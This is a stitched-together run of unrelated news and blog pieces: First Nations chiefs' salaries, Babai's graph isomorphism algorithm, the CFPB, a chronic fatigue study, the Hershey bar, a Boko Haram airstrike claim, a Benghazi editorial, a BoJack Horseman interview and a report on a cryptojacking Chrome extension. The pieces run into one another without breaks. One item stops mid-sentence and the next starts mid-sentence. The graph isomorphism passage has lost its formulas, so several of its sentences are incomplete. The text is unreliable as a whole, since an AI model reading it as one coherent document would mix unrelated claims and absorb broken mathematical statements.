Questions about how closely the pay of Aboriginal politicians mirrors the real world are, in fact, likely to be asked with increasing frequency this fall. Under the First Nations Financial Transparency Act, which the Conservative government passed last year, more details of band finances are being posted daily on the federal Aboriginal Affairs and Northern Development website. About 580 bands covered by the law must file by the end of November, but, so far, only about half have submitted disclosures. Sifting through the documents one by one, Maclean’s compiled figures for 327 First Nations, available as of last week. A picture of wildly varying pay—from $644,441 for Chief Jim Boucher of the Fort McKay First Nation near the oil boomtown of Fort McMurray, Alta., to just $3,000 for Chief Brian Burke of B.C.’s Gitwangak Indian Band—is coming into focus.
Early attention was dominated by the revelation that Chief Ron Giesbrecht, of the the tiny Kwikwetlem First Nation in British Columbia’s lower mainland, took home an eye-popping $914,219 for the 12 months that ended last March 31. Incredulous news reports of Giesbrecht’s pay were followed by angry protests from some members of his First Nation, which has just 35 members living on its reserve. Giesbrecht’s huge windfall last year came as a result of the band’s decision to pay him a 10 per cent bonus on economic development deals he struck. When the B.C. government paid the Kwikwetlem First Nation about $8 million to walk away from its claim to a valuable piece of property, he hit the jackpot. In fact, his bonus was so outlandish, the generous, untaxed pay of other chiefs briefly seemed modest by comparison. They probably owe him a thank-you.
Of the 327 chiefs whose reported pay Maclean’s was able to tabulate, 35 made more than $100,000 in untaxed base salary. The median salary was $62,426. In fact, a large cluster of chiefs—143 of the 327—made between $50,000 and $75,000 in normal salary in the 2014 fiscal year. It’s key to keep in mind that earnings claimed on reserves are not subject to income tax. So a chief’s untaxed income of $60,000 is the equivalent—according to the tax-converter tool provided by the consulting firm EY (formerly Ernst & Young)—to regular taxable income of about $80,000, while a Canadian would typically have to earn $150,000 to reap after-tax income of about $100,000, depending on the province.
Making comparisons among First Nations, though, is fraught with difficulty. There’s no strict consistency in how bands report the income of their chiefs and councillors, so the figures must be approached cautiously. Some report a flat salary, many separately tally up “honoraria” based on factors such as the number of meetings attended, and others also break out income from other band jobs. Then there are expenses, especially for travel, which are often significant. Taking into account all remuneration, including expenses, the number of chiefs who cost their bands more than $100,000 a year jumped to 105 of the 327. Loon River’s Noskey, for instance, claimed $77,218 in travel expenses he collected last year. He says he needs to be in Edmonton, a five-hour drive from Loon River, nearly every week for meetings with government officials and oil industry executives. Another key factor is the common practice of chiefs collecting a second salary for holding another band staff position. Chief Terry Paul of Membertou First Nation in Cape Breton, N.S., for example, made $70,000 as chief, another $110,000 as the band’s acting chief executive, while claiming $33,921 in travel expenses.
Not surprisingly, many chiefs are angry that the federal government is exposing them to critical attention over what they make. Some complain their pay levels are often compared to those of the mayors of towns and cities near their reserves. Those contrasts can be stark. For instance, Chief Darren Whitford of Alberta’s oil-rich O’Chiese First Nation, with an on-reserve population of 842, earned $164,453, and charged $100,778 in travel and other expenses, while Mayor Fred Nash of nearby Rocky Mountain House, with a population of about 7,500, says he made about $42,000, on which, of course, he paid income tax.
But Chief Terence McBride of the Timiskaming First Nation in Quebec, an outspoken critic of the transparency act, scoffs at the notion that even mayors of much larger communities shoulder anything near the political and administrative burdens of chiefs. McBride, who earns $60,000 as the Timiskaming chief, says First Nations leaders have to handle files such as health and education, often negotiating for funding and services with Ottawa and sometimes provincial governments. But municipalities generally leave education and health to the provinces, which have jurisdiction over the fields. The economic development challenges faced by chiefs, McBride adds, are usually more pressing than mayors confront. “Obviously, if you look at the responsibility that a mayor has and the responsibility that a chief has, it’s night and day,” he says.
The sources of chief and band-councillor pay also raise complicated questions. The federal government transfers money to bands based on formulas that take into account factors such as population and location. Some bands pay their elected officials only out of those federal funds. Others supplement chiefs and councillors with revenues from band-owned businesses. Don Maracle, the veteran chief of the Mohawks of the Bay of Quinte in Ontario, collected a salary of just $33,180 last year, an amount he says was dictated by what Ottawa allocates his community for administration. But he defends the right of First Nations that have other revenue streams to pay as much as they see fit. Maracle argues that shouldn’t be a distraction from what he calls “chronic underfunding” for social services, economic development and other pressing needs on many reserves.
Chief Debra Hanuse of the ‘Namgis First Nation, which shares Cormorant Island with the village of Alert Bay off the north coast of Vancouver Island, is another chief whose pay, $23,359, is far below the norm. She’s a lawyer who recently moved back from Vancouver to lead her home community, where a decline in the fishing industry has hit the local economy hard. But Hanuse isn’t critical of chiefs who far out-earn her. “Each community has to decide, and you can’t just lump everyone together,” she says. “In some circumstances, you can’t recruit qualified persons to communities that are remote. When you’re taking people away from the chance to make a living, obviously, decisions are going to have to be made about how to compensate your leadership.”
Coming from a modestly paid chief, that plea for First Nations to be left alone when it comes to setting their politicians’ pay carries a certain credibility. Yet it seems unlikely to be heeded. Outside critics, led by the Canadian Taxpayers Federation, are focused on the issue. And, after all, even bands with their own revenue sources also typically collect millions in federal transfers. Attention seems bound to grow, and could peak soon after that end-of-November deadline for all bands to file disclosure documents with Aboriginal Affairs. Even if no more cases as explosive as Giesbrecht’s turn up, First Nations leaders must brace themselves for a tougher debate about what they are paid.A Little More on the Graph Isomorphism Algorithm
Looking at some of its components
From source, our congrats too
Laci Babai’s first talk a week ago Tuesday is now a webcast here. There is also a great detailed description of his talk by Jeremy Kun, including background on the problem and how the proof builds on Eugene Luks’s approach.
Today we talk some more about ingredients of Laci’s algorithm.
He has one more scheduled talk this coming Tuesday on its key vehicle of progress: Either the current graph (and associated groups) in the recursion can be split up for divide-and-conquer, or it embeds a special kind of graph named for Selmer Johnson that can be handled specially. This strikes us as following another Chicago idea—the Geometric Complexity Theory programme of Ketan Mulmuley and Milind Sohoni—of looking for objects that obstruct the progress of algorithms; this post by Joshua Grochow discusses an example for matrix multiplication.
Rather than try to anticipate these further details and Laci’s forthcoming preprint, we thought we might give more high-level discussion of some more ideas and elements we recognize that make the algorithm work. We could be way off, but these ideas we believe are key to his breakthrough result. In any event they are useful insights that we hope you enjoy.
All Aboard
Laci’s talk is old style, a chalk talk. Most talks these days are powerpoint-style, but for details and complex mathematics, there is nothing like seeing a master at work using chalk. The virtues of such a talk are many. It slows down the information rate to the audience. This is good. Slow is good. Flipping powerpoint slides rapidly can be hard to follow. Watching Laci write out in his handwriting:
Graph Isomorphism GI
is wonderful. You can follow it, internalize it, and perhaps understand it.
The second is the use of many boards. This is wonderful. It gives a larger state for the audience, so they are more likely to understand.
Overview
The key ideas of the algorithm for GI are really classic ones from design of algorithms. The genius is getting them all to work together. The ideas break into two types: those that are general methods from computer science and those that are special to the GI problem.
Domain-General Points
Small Steps. One of the most important principles in mathematics and also in the design of complex algorithms is that we rarely can just write down the answer. That is if we wish to construct something we rarely can just write down the answer in closed form. The quadratic formula for the roots of is a classic counterexample:
Of course there are no such formulas for high degree polynomials nor for non-polynomial equations. Enter the Newton method.
The idea of building the answer in small steps is the cornerstone of most important algorithms. Linear programming uses simplex or interior point methods, matching uses path-augmentation, and so on.
Recursion. The reason the small step idea is so powerful is that it plays well with running time. If the small steps can be bounded by a nice equation, then the algorithm in question will run fast. For Laci’s case the key is
where is a quasi-polynomial term. This type of equation yields a quasi-polynomial running time. If we had a constant in place of then we would get a term which is polynomial, and this typifies how one gets polynomial-time algorithms by divide-and-conquer. Here is not constant, but quasi-polynomial terms are closed under raising them to log powers, so that is the time we get. The recursion can be cut off when the problem size is polylog.
This-or-That. As Laci says, “split-or-Johnson.” This is the hardest element to convey simply but may pay the highest dividends if we can recognize when it can be used. Here is an example: For every there exists such that for every -vertex graph :
Either has at least triangles, or one can remove edges to leave no triangles.
This enables a randomized algorithm to distinguish graphs that are triangle-free from those that are -far from being triangle-free: it can try (say) random triples of vertices and say “probably triangle-free” if none is a triangle. The randomized primality test of Gary Miller and Michael Rabin can also be phrased as an either-or in which the “or” branch finds a factor. To be sure, Laci’s algorithm isn’t randomized.
Domain-Specific Elements
Graph Marking. Perhaps the main problem with GI has always been that looking locally at vertices of some graph may yield no information about the graph. Locally all the neighborhoods of vertices may look alike. This is terrible from the point of view of trying to tell one vertex from another, which is critical to be able to solve the GI problem.
But there is an expensive way to change this. We simply pick a set of vertices of and mark them in a unique manner. Now using these we can start to break up the structure of the graph and start to label vertices differently. Obviously a vertex near one of these marked vertices is different from one that is farther away. This is a critical “trick” that allows one to make progress on GI for the graph.
There is a cost. If we pick such special vertices in a graph, then we must try all ways to pick these in the other graph. That is expensive. If the graph has vertices then it costs. So to avoid taking more than quasi-polynomial time, we must keep of size at most poly-logarithmic. It also needs of order at least to be effective, which is a reason the technique cannot simply be improved to run in polynomial time.
Groups Are Nice. One of the most useful properties of groups is the “subgroup size trick.” In most structures, including graphs, a substructure can be very big. Suppose that is a graph on vertices. It has subgraphs with vertices—just remove any vertex. This cannot happen with groups. If is a groups with elements, then the largest nontrivial subgroup can have at most. This is a simple consequence of the famous theorem of Joseph-Louis Lagrange that for any finite group, the size of every subgroup of divides the size of. If you keep taking subgroups and each one is proper then you quickly make great progress reducing the size.
The worst case is when the factor is such as with the alternating group inside the symmetric group. Babai calls a homomorphism from a group into giant if its image is either or all of. An element of the set acts on is unaffected if restricted to the subgroup of permutations that fix is still giant. Subject to conditions about the setting that we don’t yet fully understand, his key new group-theoretic theorem is:
Unless is tiny, the restriction of a giant homomorphism to the intersection of over all unaffected elements is still giant.
This looks like it should be either easily true or easily false, but Babai’s precise statement depends on the classification of finite simple groups.
The key inner point of the algorithm is to try subsets of the elements where is polylog but not tiny so the theorem works for. The theorem helps decide in quasipolynomial time whether the resulting homomorphism into is giant. This distinguishing power in turn is used to make progress.
Open Problems
What is the full pattern of progress in the algorithm, with “split-or-Johnson” evidently directing the outermost loop and the above the inner loops? This may need more details to unfold.
AdvertisementsSenate Minority Whip Dick Durbin Richard (Dick) Joseph DurbinKids confront Feinstein over Green New Deal Senate plots to avoid fall shutdown brawl Overnight Energy: Trump ends talks with California on car emissions | Dems face tough vote on Green New Deal | Climate PAC backing Inslee in possible 2020 run MORE (D-Ill.) said Sunday that Wall Street hates the Consumer Financial Protection Bureau (CFPB) “like the devil hates holy water.”
“It’s a watchdog agency,” he said, referring to the CFPB.
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“Wall Street hates it like the devil hates holy water. And they’re trying to put an end to it with Mr. Mulvaney stepping into Cordray’s spot,” Durbin added, referencing White House budget chief Mick Mulvaney John (Mick) Michael MulvaneyThe Hill's Morning Report - Dems appear to have votes to counter Trump on emergency Overnight Defense: White House eyes budget maneuver to boost defense spending | Trump heads to Hanoi for second summit with Kim | Former national security officials rebuke Trump on emergency declaration Overnight Health Care — Presented by National Taxpayers Union — Trump, Dems open drug price talks | FDA warns against infusing young people's blood | Facebook under scrutiny over health data | Harris says Medicare for all isn't socialism MORE and former CFPB Director Richard Cordray.
The Trump administration has argued it is legally allowed to appoint a new head to the bureau now that Cordray has stepped down from his post, while the 2010 Dodd-Frank Wall Street Reform and Consumer Protection Act stipulates that the deputy director is to head the bureau if it does not have a permanent director.
President Trump on Friday appointed Mulvaney to serve as interim director after Cordray stepped down from his post.WASHINGTON (November 10, 2017) — Researchers at Georgetown University Medical Center have found distinct molecular signatures in two brain disorders long thought to be psychological in origin — chronic fatigue syndrome (CFS) and Gulf War Illness (GWI).
In addition, the work supports a previous observation by GUMC investigators of two variants of GWI. The disorders share commonalities, such as pain, fatigue, cognitive dysfunction and exhaustion after exercise.
Their study, published in Scientific Reports, lays groundwork needed to understand these disorders in order to diagnosis and treat them effectively, says senior investigator, James N. Baraniuk, MD, professor of medicine at Georgetown University School of Medicine. Narayan Shivapurkar, PhD, assistant professor of oncology at the medical school, worked with Baraniuk on the research.
The changes in brain chemistry — observed in levels of miRNAs that turn protein production on or off — were seen 24 hours after riding a stationary bike for 25 minutes.
“We clearly see three different patterns in the brain’s production of these molecules in the CFS group and the two GWI phenotypes,” says Baraniuk. “This news will be well received by patients who suffer from these disorders who are misdiagnosed and instead may be treated for depression or other mental disorders.”
Chronic fatigue syndrome affects between 836,000 and 2.5 million Americans, according to a National Academy of Medicine report. The disorder was thought to be psychosomatic until a 2015 review of 9,000 articles over 64 years of research pointed to unspecified biological causes. Still, no definitive diagnosis or treatment is available.
Gulf War Illness has developed in more than one-fourth of the 697,000 veterans deployed to the 1990-1991 Persian Gulf War, Baraniuk and his colleagues have reported in earlier work.
Gulf War veterans were exposed to combinations of nerve agents, pesticides and other toxic chemicals that may have triggered the chronic pain, cognitive, gastrointestinal and other problems, Baraniuk says. Although the mechanisms remain unknown, the study provides significant insights into brain chemistry that can now be investigated.
This study focused on spinal fluid of CFS, GWI and control subjects who agreed to have a lumbar puncture. Spinal taps before exercise showed miRNA levels were the same in all participants. In contrast, miRNA levels in spinal fluid were significantly different after exercise. The CFS, control and two subtypes of GWI groups had distinct patterns of change. For example, CFS subjects who exercised had reduced levels of 12 different mRNAs, compared to those who did not exercise.
The miRNA changes in the two GWI subtypes add to other differences caused by exercise. One subgroup developed jumps in heart rate of over 30 beats when standing up that lasted for two to three days after exercise. Magnetic resonance imaging showed they had smaller brainstems in regions that control heart rate, and did not activate their brains when doing a cognitive task. In contrast, the other subgroup did not have any heart rate or brainstem changes, but did recruit additional brain regions to complete a memory test. The two groups were as different from each other as they were from the control group.
Finding two distinct pathophysiological miRNA brain patterns in patients reporting Gulf War disease “adds another layer of evidence to support neuropathology in the two different manifestations of Gulf War disease,” he says.
Baraniuk adds that miRNA levels in these disorders were different from the ones that are altered in depression, fibromyalgia, and Alzheimer’s disease, further suggesting CFS and GWI are distinct diseases.
The study was supported by funding from The Sergeant Sullivan Center, Dr. Barbara Cottone, Dean Clarke Bridge Prize, Department of Defense Congressionally Directed Medical Research Program (CDMRP) W81XWH-15-1-0679, and National Institute of Neurological Diseases and Stroke R21NS088138 and RO1NS085131.
Baraniuk and Shivapurkar are named as inventors on a patent application that has been filed by Georgetown University related to the technology described.
About Georgetown University Medical Center
Georgetown University Medical Center (GUMC) is an internationally recognized academic medical center with a three-part mission of research, teaching and patient care (through MedStar Health). GUMC’s mission is carried out with a strong emphasis on public service and a dedication to the Catholic, Jesuit principle of cura personalis — or “care of the whole person.” The Medical Center includes the School of Medicine and the School of Nursing & Health Studies, both nationally ranked; Georgetown Lombardi Comprehensive Cancer Center, designated as a comprehensive cancer center by the National Cancer Institute; and the Biomedical Graduate Research Organization, which accounts for the majority of externally funded research at GUMC including a Clinical and Translational Science Award from the National Institutes of Health. Connect with GUMC on Facebook (Facebook.com/GUMCUpdate), Twitter (@gumedcenter) and Instagram (@gumedcenter).The Hershey's Milk Chocolate Bar (commonly called the Hershey's Bar, or more simply the Hershey Bar ) is the flagship chocolate bar of the Hershey Company. Hershey refers to it as "The Great American Chocolate Bar." The Hershey Milk Chocolate Bar was first sold in 1900, followed by the Hershey's Milk Chocolate with Almonds variety, which began production in 1908.
The Hershey Process milk chocolate in these bars uses fresh milk delivered directly from local farms. The process was developed by Milton Hershey and produced the first mass-produced chocolate in the United States. As a result, the Hershey flavor is widely recognized in the United States, but less so internationally, especially in areas where European chocolates are more widely available. The process is a company and trade secret, but experts speculate that the milk is partially lipolyzed, producing butyric acid, which stabilizes the milk from further fermentation. This flavor gives the product a particular sour, "tangy" taste that the US public has come to associate with the taste of chocolate, to the point that other manufacturers often add butyric acid to their milk chocolates.[1] The American bar's taste profile was not as popular with the Canadian public, leading Hershey to introduce a reformulated Canadian bar in 1983.[2]
Until 2015, Hershey also added polyglycerol polyricinoleate (PGPR) to their chocolate, which contributed to the difference in taste between Hershey chocolates and European chocolates.[3] Artificial vanillin was also removed in 2015.[4]Chicago police have issued an alert after a female student was groped on the ramp leading to the eastbound Blue Line train platform at Cicero on Monday morning.Police say the victim was followed by the offender, who continually yelled at her. The offender caught up to the victim at the platform and grabbed her from behind, inappropriately touching her.As the victim attempted to pull away, she fell to the ground, causing her wallet to fall on the platform. The offender grabbed the wallet and fled from the station.The offender is described as a male black, 20-28 years of age, 5'6-5'8, with a thin build. He was wearing a hooded jacket which was light blue on the top area and black on the lower area, dark jeans and white colored gym shoes.Police are asking the public to call 911 to report any suspicious activity. They also urge riders to walk in pairs and stay in well lit and populated areas.Blinn College has postponed its football game against Texas A&T originally scheduled for Saturday, Aug. 26, due to the approach of Hurricane Harvey.
The Blinn College football team will now open its season at 7 p.m. Saturday, Sept. 2, at Cisco College. The Texas A&T game may be rescheduled later in the season.
Blinn College will continue monitoring Hurricane Harvey, and a decision regarding potential campus closings on Monday, Aug. 28, will be determined and announced by 4 p.m. Sunday, Aug. 27. For updates, visit www.blinn.edu.
Blinn College encourages all students and employees to visit www.blinn.edu/alert and register for the Blinn Alert system. This system allows the College to rapidly communicate important, campus-related emergency notifications via text and email.
About Blinn College
With an enrollment of 19,422 students, Blinn ranks among the nation's leaders in transferring students to leading four-year universities and has received national recognition for affordable educational excellence. For more information, visit www.blinn.edu.Kellyanne Conway will no longer be covered by Secret Service agents, according to multiple reports.
Fox News reported Tuesday that the White House senior adviser dropped her protection.
An official told The New York Times, meanwhile, that the threat level against Conway has changed since she was approved for protection. The Times noted that Conway’s protection is not covered by |
the DLPFC, where the information is processed and passed along to the rest of the body.
The DLPFC, therefore, can act as a filter and has executive control over what eventually reaches the motor system. During freestyling, however, it appears that this control system is muted, allowing flexibility and creativity to blossom without being stifled or double-checked.
The fMRI results suggest that, while improvising, rappers enter a “flow” state that is similar to athletes being "in the zone.” Several parts of the brain involved in sensory experience—including the amygdala, the inferior parietal lobules, and the insulae—are activated and connected, helping the rapper become immersed in the performance, and potentially fostering creativity.
The researchers also found that brain activity during freestyles changes across time, possibly due to differing demands at various parts of the rap. At the beginning of an improvised 8-bar segment, activity peaked in the left half of the brain. However, by the last measure of each 8-bar segment, activity in the right half of the brain was peaking. This may be due to differing cognitive demands at these different parts of the rap; at the beginning of a segment, language and creativity may be of the utmost importance, but by the end of the verse, a rapper might need to rely more on a rule-based approach in order to ensure proper rhyme and rhythm.
As an interesting side note, each rapper was given a language test before the experiment that assessed their linguistic skills; all twelve participants scored above the 80th percentile. It’s not too surprising that these guys are whizzes with language, when you consider the incredible linguistic demands of freestyling.
Although the study was largely exploratory and the researchers didn't test any explicit hypotheses, the study offers interesting insights into the neural underpinnings of improvisation and the creative process. It’s clear that different areas of the brain are activated during freestyle compared to rehearsed rap; in fact, entire neural networks emerge during improvisation, inhibiting self-control and affecting emotional state, two changes that may foster and improve creativity.
While some other types of musicians, such as jazz pianists, have undergone fMRIs to investigate improvisation, the jury is still out on whether similar process underlie creativity in non-musical artistic pursuits, or in spontaneity in our day-to-day life.
Scientific Reports, 2012. DOI: DOI: 10.1038/srep00834 (About DOIs).The Nigerian air force claims to have killed several Boko Haram commanders and possibly its leader, Abubakar Shekau, in an “unprecedented and spectacular air raid”.
The announcement came as the US secretary of state, John Kerry, arrived in Nigeria and pledged his country’s support in fighting the extremist group, which has killed more than 20,000 people and displaced millions.
The Chibok girls are just one part of the ordeal of women in north-east Nigeria | Chitra Nagarajan Read more
Sani Usman, an army spokesman, said the strike was launched “while the terrorists were performing Friday rituals” in a village in the Sambisa forest. The forest has been Boko Haram’s chief hideout for several years, and is believed to be where it is keeping a group of girls kidnapped from a dormitory in Chibok in 2014, an incident that sparked outrage worldwide.
Shekau, who has recently been at the centre of a power struggle within Boko Haram, was “believed to be fatally wounded on his shoulders”, Usman said, without giving further details. The account leaves unanswered questions of how the military knew the wounds were fatal, and how it could be so specific about a shoulder injury when the attack came from the air.
In a speech in the north-western city of Sokoto, Kerry did not mention Shekau or the military commanders supposedly killed, and cautioned against the military cracking down on “everyone and anyone” in the wake of militant attacks.
Boko Haram transforms “the most vulnerable among us into killers”, Kerry said, describing how in its quest to destroy knowledge, the group destroys schools, burns books, murders teachers and kidnaps students. “Make no mistake, we do not have to be prisoners of these extremists, they can be eliminated,” Kerry said. “We have to strike at the root of violent extremism. Nations need to do more than just denounce dead-end ideologies. There are far too many who join the ranks of these organisations because they have trouble finding meaning in their lives.”
Under Nigeria’s former president Goodluck Jonathan, the US blocked arms sales and withdrew training of its forces, largely because of corruption and human rights abuses by the military. However, since May this year, Washington has been poised to sell the west African country 12 light attack aircraft, a deal that is awaiting approval in Congress.
Kerry praised the efforts of Nigeria’s armed forces, which have undergone reform under the new president, Muhammadu Buhari, who swept to power last year on a ticket to tackle endemic corruption. “There’s no question in recent months that important progress has been made. Nigeria and its neighbours are systemically degrading Boko Haram’s capabilities,” Kerry said.
Tuesday’s announcement by the air force is at least the fourth time that Shekau has been declared killed. In 2009 Nigerian security forces said they had killed him along with the group’s founder, Mohammed Yusuf, and 1,000 other members of Boko Haram. In September 2014 both the Nigerian army and the Cameroonian army claimed to have killed him. That October, Shekau appeared in a video mocking these claims.
Shekau appeared to have weathered an attack of a different sort in recent weeks: to his authority. Islamic State, to which Boko Haram pledged allegiance last year, declared he was no longer the leader of their west African franchise, putting a former spokesman in his place. According to analysts, Isis had grown weary of Shekau’s attacks on mosques and Muslim markets.
Shekau, however, apparently rejected his dismissal in an audio message. Later, a video believed to have come from him depicted about 50 of the kidnapped girls, one of whom was made to speak to the camera, saying several of them had been killed in military airstrikes and asking the government to negotiate their release.House Benghazi Committee Chairman Rep. Trey Gowdy, left, and committee ranking member, Rep. Elijah Cummings, had a heated exchange last week. (Photo: Carolyn Kaster/AP)
Congressman Trey Gowdy should lead his special House committee on Benghazi into quickly wrapping up an investigation that has run for more than a year into what happened before, during and after the Sept. 11, 2012, attack on the United States consulate in this diplomatic outpost in Libya. The committee’s work has taken on increasingly partisan overtones despite the 4th District congressman pledging last year to steer the committee away from politics and toward a better understanding of the attack that resulted in the death of four Americans including Christopher Stevens, the U.S. ambassador to Libya.
The House Select Committee on Benghazi, with former Upstate prosecutor Gowdy as its chairman, came on the scene in May 2014 and began holding hearings a few months later. Gowdy’s committee followed seven other congressional panels that looked into the events surrounding the attack and how the Obama administration portrayed it in the critical weeks leading up to the 2012 elections.
Most of the questions appeared to have been answered more than a year ago, and indeed, the House Select Committee has produced little new information from its investigation that reportedly has cost about $5 million. The committee’s defining moment came Thursday when former Secretary of State Hillary Clinton, who had invested much time into showing Libya had become a success story in a chaotic Middle East, was the only witness in a day-long televised hearing.
All but the most partisan Republicans generally agreed that Clinton answered questions in a professional and reassuring manner while Republican committee members resorted to harsh attacks when it became obvious that their efforts would not find a “smoking gun” that would prove misconduct by Clinton. Indeed, the Democratic Party’s leading contender for the 2016 presidential nomination represented herself so well last week that she dramatically improved her standing within her own party and she won begrudging respect from Republicans open to the idea that further investigation into Benghazi is damaging for the country as well as their own political party.
In undeniably “red” congressional districts, voters likely will continue to believe that the attack on the consulate in Benghazi represented more than a serious miscalculation about the growing risk to the U.S. ambassador. They also will not be moved from their conclusion that the Obama administration, along with its secretary of state, misled the American people by pretending an anti-Islamic video inspired what really was a well-coordinated terrorist attack, and that the true nature of the attack was known hours, instead of weeks, after it had occurred.
Short of that unforgiving partisan view, however, many Americans seem willing to accept that the attack that left four Americans dead occurred in an extremely dangerous part of the world where the United States has made deadly mistakes under presidents for more than three decades. Although belatedly, the Obama administration and its secretary of state at the time have taken responsibility for what occurred in Benghazi and more truthfully portrayed the circumstances during and after the attack.
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There are lessons to learn from the deadly attack in Benghazi. This president and the next one should work to better protect vulnerable Americans doing their nation’s business in dangerous areas of the world.
Those not blinded by partisan politics surely remember that few presidents have rushed to the microphone to immediately talk about their mistakes or misjudgments that resulted in foreign policy debacles or Americans deaths. This holds true whether the focus is on the attack on the Marine Barracks in Lebanon, Saddam Hussein’s invasion of Kuwait, the attacks on the American embassies in Kenya and Tanzania, or the terrorist attack on American soil on Sept. 11, 2001.
Gowdy’s committee has been forced to defend itself in recent weeks as charges have grown that its work is politically motivated and its purpose is to damage the top Democratic contender for president. The criticism has become sharper after Congressman Kevin McCarthy, the House majority leader, appeared to brag in a television interview about how the committee was hurting Hillary Clinton’s campaign for president.
This editorial page argued in May 2014, when Gowdy’s committee was authorized by a politically divided vote in the House, that most of the questions surrounding the attack in Benghazi had been answered. The only value of the newest committee, we wrote more than a year ago, would be to ensure that significant questions were not left unanswered before the House “finally put to rest the Benghazi issue.” The danger recognized in 2014 was that the committee could turn “into a political sideshow.”
The committee has turned into that political sideshow, and it’s time for it to end its work.
Read or Share this story: http://grnol.co/1N6et7aDebuting in 2014, BoJack Horseman has become one of the world's most-popular adult animated sitcoms.
Set in an alternate version of Hollywood where humans and anthropomorphic animals live side-by-side, it follows the misadventures of the eponymous washed-up former equine star of 1990s comedy Horsin' Around.
Ahead of the debut of the fourth season on Netflix, Stuff talked to creator Raphael Bob-Waksberg.
Bojack Horseman is the washed-up former equine star of 1990s comedy Horsin' Around.
READ MORE:
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* Millennial humour is bizarre, but perhaps that's life
* Simpsons' Matt Groening is developing an animated medieval series for Netflix
It took a while for viewers and critics to catch on to the show, but now it's a global phenomenon – what do you put that down to?
I think it was a little of everything. First of all, a lot of critics judged it initially on the first six episodes, which was a mistake. Our goal was always to trick people into thinking the show was one thing and then having it evolve into something else. That said, I hoped a lot of people would like the first thing and want to keep watching and be a part of the whole surprise. I didn't think I'd have to tell people, "no, no keep watching – it's not what you thinking". It didn't occur to me that people would watch a couple of episodes and then stop. I think I now know that it takes a while for the audience to get in tune with the rhythms of what a show is - no matter what it is. Also, it takes a while for the people that make the show to do the same thing. I like to think that over the course of that first season we found the rhythms a lot more. But I also think people were looking in the wrong direction. People have assumptions about what an animated show is and what it is trying to do and we kind of buck that assumption a lot. We're not trying to do wall-to-wall jokes. People thought we were failing at something we weren't actually trying to do.
BoJack Horseman creator Raphael Bob-Waksberg.
Speaking of traditional animated shows and expectations, does having to deliver a whole season at once for Netflix change BoJack's dynamic, compared to say a weekly programme like The Simpsons or South Park?
It has really affected the kinds of stories we tell and the way we tell them. For me, the big surprise in terms of crafting the first season was how much the characters could evolve. That's because, not only could people watch all the episodes at once, but you could almost guarantee they would watch them in order. Now that we've got to season 4, we know many people have watched all 37 previous episodes and know these characters. That means you can do stuff that calls back different episodes and be more ambitious with your storytelling – which is exciting.
But what also does it mean for the show's production. Do you work on an episode at a time?
There's a point every season where I feel like I'm going to go mad because we'll literally be working on 12 different episodes at once in some function or manner. Episode 12 will be being discussed, 10 and 11 are being prepped for the table read, 8 and 9 are being recorded and 6 and 7 are being animated, etc etc. all the way back to episode 1. I have to kind of run from meeting to meeting to meeting and make sure everything is moving smoothly. However, it does kind of help the whole season, as you've got all the other episodes in mind when you're talking about something in particular.
Bojack Horseman is set in an alternate Hollywood where humans and anthropomorphic animals live side-by-side.
So what can viewers expect from season four?
I don't want to spoilt too much, because part of the joy of the show is discovering the show, seeing what we do and where we go with it. The show, from the very beginning, has been interested in the stories we tell – whether it's the sitcoms of the '80s and '90s, or Oscar-nominated movies stories – about ourselves looking outwards. This season, we're really interested in the stories we tell about ourselves. We create a narrative around our lives, give ourselves labels and titles and create fictions to help us deal with whatever we are going through. Sometimes that's helpful, sometimes it gets in our way. Another theme we focus on this time around is family – the responsibilities and the desire for one.
Tell me about Will Arnett. What made him the perfect voice for BoJack?
DANNY MOLOSHOK/REUTERS Will Arnett is the voice of BoJack Horseman.
He's just so talented and very funny. I've worked on shows and seen shows where you hear a line and you hear an actor say it and you think that line was much funnier than what that actor is saying. "I can hear it, but you're not quite getting it." Will is exactly the opposite. He can take any line and make it funnier than it is on the page, he makes the jokes sometimes funnier, he makes the setups to other people's jokes sometimes funnier. He can say "what" in a funny way. I don't know how he does it – it's an amazing thing to behold in table reads and in recording. You can give him anything and he can find the comedy in it. He's also a really good dramatic actor and that's what we've found over and over again. I'm inspired to give him more and more because he knocks it out of the park all the time and he gives these heavy monologues and doesn't make them sound saccharine or indulgent. He give them life and makes them sound real and grounded and you believe it and feel for him. We couldn't do the show we do without him – or any of our great supporting cast.
You've also managed to secure some great guest voices over the years. Is there anyone you'd really still be keen to get?
Holly Hunter is an actress who we tried to get before, but who turned us down. I think if we could find the right part for her, we could nab her. I don't really have a long wishlist – usually we write the character first and then go, "okay, who would be a good person to play this character". I also tend to get starstruck, so if I got who I really wanted I'd just get embarrassed and couldn't work with them. Stephen Colbert was on the show, which was amazing, but I just got so tongue tied around him I had to write his character off. He was a gentleman and so lovely, but I can't work with him anymore – I get too flustered. Weird Al Yankovich was another who I was a fan of since a child. But I don't know how many times we could have him back because I lose all sense of professionalism.
Finally, have you had any requests from actors to be a certain animal, or have you found any perfect matches of celebrity to character?
House of Cards' Constance Zimmer was campaigning for years to play an angry hedgehog. I said, I didn't know if we had any hedgehogs coming up, but suggested we had a stripper-whale vacancy instead. She did such a good job, we had to bring her back over and over again, because we just loved the voice she did. As for a perfect match, one of the first celebrities I remember we got was (American sports and political commentator) Keith Olbermann. Blue whale Tom Jumbo-Grumbo is in many ways a parody of Keith and he was totally in on the joke and thought it was a lot of fun. Right at the end of the first recording, we asked him if we could get some wild whale noises from him. Here was this very important man making stupid noises. That's when we thought, "okay, this show is going to be a lot of fun".
Season 4 of BoJack Horseman begins streaming on Netflix on September 8.Have you heard of cryptojacking? It's the practice of secretly using your computer's resources to mine cryptocurrency without the user's permission.
Typically, you'll see the practice on shady websites — popular Bittorrent site The Pirate Bay appears to have experimented with it at one point — but a cryptojacking program has recently been found in a popular Chrome extension.
SEE ALSO: The top 10 tech stories of 2017
BleepingComputer reports that Archive Poster, a Chrome extension that helps Tumblr users reblog and repost from other blogs, also runs Coinhive, a cryptojacking program that secretly mines the cryptocurrency Monero using your CPU.
This is noted in several user reviews in the Chrome web store.
"Do not use this extension as it comes loaded with a cryptocurrency mining script. Once installed it makes requests to coinhive which eats up your CPU time and slows your computer down massively. Avoid," one user wrote.
Archive Poster appears to be quite popular with a total of 105,062 users. Unfortunately, despite recent negative reviews the extension still has a very good overall grade.
While cryptojacking software is not as dangerous as common malware — it typically doesn't do damage to your computer or files — it's annoying as it uses your CPU time and potentially slows down your computer considerably.
On the other hand, while mining cryptocurrency on your home computer isn't very lucrative lately, having tens of thousands of computers mining can be very profitable for the extension's developer (or the hacker who had managed to infect the extension with the cryptojacking software).
